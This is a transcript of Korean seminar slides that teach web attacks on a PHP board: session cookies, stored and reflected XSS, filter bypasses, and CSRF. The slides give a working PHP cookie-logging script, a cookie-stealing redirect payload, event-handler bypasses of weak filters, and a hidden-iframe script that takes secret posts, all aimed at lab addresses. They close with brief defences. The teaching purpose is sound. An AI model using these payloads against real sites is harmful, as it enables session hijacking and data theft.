web vulnerability seminar3
TRANSCRIPT
Web vulnerability seminar
from make to exploit
Contents
$ PHP + Source code auditing$ DB & SQL injection$ XSS & CSRF$ Something Injection
ㅅ .. 세 .. 세션$ 서버와 유저간의 연결
$ 서버에게 내가 ‘나’ 라는걸 증명 하는 것
PHP SESSION
• 쿠키 -> PHPSESSID
• 이상한 문자열
데자뷰$ 로그인 -> COOKIE
$ COOKIE -> 삭제 -> 안 로그인
$ COOKIE-> 안 삭제 -> 로그인
ㅎㅎ 관리자$ 제 아이디로 글을 쓰세요
$ ??/web/3/
만약 ..
게시글을 읽을때
요청
그림주소 = ‘domain.com/monday.jpg’
문제가 되는 것 ?
$ 아직까지 없음
글을 이쁘게
문제가 되는것 ?
$ 스크립트가 적힌다는 것은 내가 원하는 행동을 일부 할 수 있다는 이야기 .
$ 현재 페이지에서 상대방이 가지고 있는 쿠키 ( 세션 ) 값을 내 서버로 전송해서 기록 할 수 있다면 ?
Stored XSS 개요
1
2
3
4
간단한 테스트 !
<script>alert(“test”)</script>
<script>alert(document.cookie)</script>
<iframe src=‘’/>…
PHP
<?$hijack = "\r\n".$_GET[‘k']." :
".date("Y-m-d h:i:s");$f = fopen("./cookie.txt","a");fwrite($f,$hijack,strlen($hijack));fclose($f);
?>
Payload
<script>location.href=‘http://path/cookie.php?k=‘+document.cookie</script>
With filtering 1
Source
$q = str_replace("script","",$_GET[inp]);
echo $q;
192.168.1.25/web/xss/test.php
With filtering 2
Source
$q = $_GET[inp];if(eregi("script",$q))
exit("HAHA. Do not try XSS");
echo $q;
192.168.1.25/web/xss/test2.php
With filtering 3
Source
$q = $_GET[inp];if(eregi("script|alert",$q))
exit("HAHA. Do not try XSS");
echo $q;
192.168.1.25/web/xss/test3.php
자연스럽게 글을 쓰면서$ <img src = ‘’ onload =‘’>$ <img src = ‘’ onerror =‘’>$ <img src = ‘’ onmouseover=‘’>
…
Reflected XSS
$ Stored 와 달리 저장할 공간이 없어도 가능
$ Stored 와 같은 행동이 모두 가능함
재탕
그림주소 = ‘domain.com/monday.jpg’
Reflected XSS 개요
1
3
2
4
XSS = XSS
$ Stored 로 가능한 모든 공격을 Reflected 로도 가능함 .
시나리오$ XSS 공격을 확인
$ XSS 를 통해 악성 스크립트가 삽입된 페이지로 이동
$ Reverse Connection!
ㅎㅎ
CSRF
$ XSS 에서 파생되는 2 차 피해
CSRF 개요
12
3
4
Return To XSS
$ <script ~~> 로 서버에 요청을 보내자 !
관리자가 읽게 하여 비밀글을 읽어보자 !
실습$ 글쓰기 예제
<iframe src = 'http://127.0.0.1/web/csrf/board/write_ok.php?user_id=TEST&title=qwer&pw=&contents=zxcv' width=0 height=0 frame-border=0/>
비밀글을 읽어봅시다 .
1. 해당 글이 적힌 페이지를 요청
2. 요청된 페이지의 html 소스코드를 가져옴
3. 가져온 소스코드를 그대로 적음 .
비밀글을 빼옵시다 .<script>
function sending(html){
var f = document.getElementById("csrf");var a = unescape(html)var c = "http://127.0.0.1/web/csrf/board/write_ok.php?
user_id=TEST&title=qwwer&pw=aa&contents="+a;if(html != "")
f.src=c;else
f.src ="";
}
document.write(“<iframe id =‘csrf’ src =http://127.0.0.1/web/csrf/board/view.php?num=70 width=0px height=0px frameborder=0 onload =sending(this.contentWindow.document.body.innerHTML)></iframe>")
</script>
설명document.write("")
인자로 들어간 내용을 HTML 에 적음
각종 변수 값 사용 가능 !
IFRAME
<iframe id =‘csrf’
src=http://127.0.0.1/web/csrf/board/view.php?num=70
width=0px height=0px frameborder=0
onload=sending(this.contentWindow.document.body.innerHTML)></iframe>
Functionfunction sending(html){
var f = document.getElementById("csrf");var a = unescape(html)var c = "http://127.0.0.1/web/csrf/board/write_ok.php?
user_id=TEST&title=qwwer&pw=aa&contents="+a;if(html != "")
f.src=c;else
f.src ="";
}src=http://127.0.0.1/web/csrf/board/view.php?num=70 src=http://127.0.0.1/web/csrf/board/
write_ok.php?user_id=TEST&title=qwwer&pw=aa&contents=
어떻게 할 것인가 < : < > : >
특수기능을 잃어버린다
어떻게 볼 것인가<script>Something Text </script>
<img src =‘’ onload=‘’/>
<img src = ‘evil.php’/>
CSRF 추가 대책$ 요청을 보낸 것이 정말 사람인지 확인
-> captcha
요약$ 게시판에 모든 스크립트를 허용하지 않고 딱딱하게 글을 쓰게 하면 됩니다 ..
$ 스크립트를 제공해야 할 경우 , 정규표현식을 통해 지정된 형태에서 벗어나면 OUT!